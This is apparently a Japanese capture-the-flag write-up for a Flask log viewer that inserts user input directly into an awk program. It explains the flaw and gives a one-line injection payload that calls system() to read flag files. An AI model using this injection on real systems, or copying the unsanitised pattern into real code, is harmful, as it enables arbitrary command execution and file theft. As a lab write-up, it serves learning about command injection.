問題

正規表現機能を備えたシンプルなログビューア。

抜粋

@app.route("/", methods=["GET", "POST"])
def index():
    query = ""
    log = ""
    if request.method == "POST":
        query = request.form.get("query", "")

        command = ["awk", f"/{query}/", "info.log"]
        result = subprocess.run(
            command,
            capture_output=True,
            timeout=0.5,
            text=True,
        )
        log = result.stderr or result.stdout
    
    return render_template(
        "index.html",
        log=log,
        query=query,
    )

TL;DR

解法

リクエストを送るとAWKでログからマッチした行を返すサーバーがある。

AWKは/正規表現/でマッチ行を表示できる。

AWKはプログラミング言語であり、セミコロン区切りで次の文をかける。

system()で任意のコマンドが実行できる。

末尾は#でコメントアウトが必要。

ソルバ

/;{system("cat /flag*");exit}#